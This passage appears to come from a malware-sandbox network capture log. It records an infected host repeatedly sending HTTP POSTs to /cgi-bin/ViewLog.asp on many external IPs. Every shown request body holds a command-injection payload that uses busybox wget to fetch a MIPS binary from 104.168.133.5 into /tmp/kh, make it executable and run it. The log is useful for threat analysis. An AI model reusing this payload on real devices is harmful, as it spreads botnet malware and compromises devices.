                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:07.387177944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:27.354660988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.217659950 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                219192.168.2.154078894.110.139.798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:49.883111000 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                220192.168.2.153499094.221.19.2278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.260834932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                221192.168.2.154572694.123.180.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.266869068 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                222192.168.2.153872295.86.122.1818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.273116112 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                223192.168.2.154952862.122.58.2038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.303071976 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:50.573091984 CET75INHTTP/1.1
                                                Data Raw:
                                                Data Ascii:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                224192.168.2.155600431.136.171.138080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.452967882 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:53.563565969 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:59.707408905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:11.739064932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:37.594357967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:26.745100021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                225192.168.2.155256694.122.202.958080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.496876001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                226192.168.2.154477885.122.205.1948080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.499857903 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                227192.168.2.155108831.136.142.128080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.638286114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:51.195640087 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:52.315596104 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:54.587641001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:59.195405960 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.155239105 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:27.354660988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.217799902 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                228192.168.2.155390694.46.177.328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.647175074 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:50.842658997 CET556INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:20:50 GMT
                                                Server: Apache
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
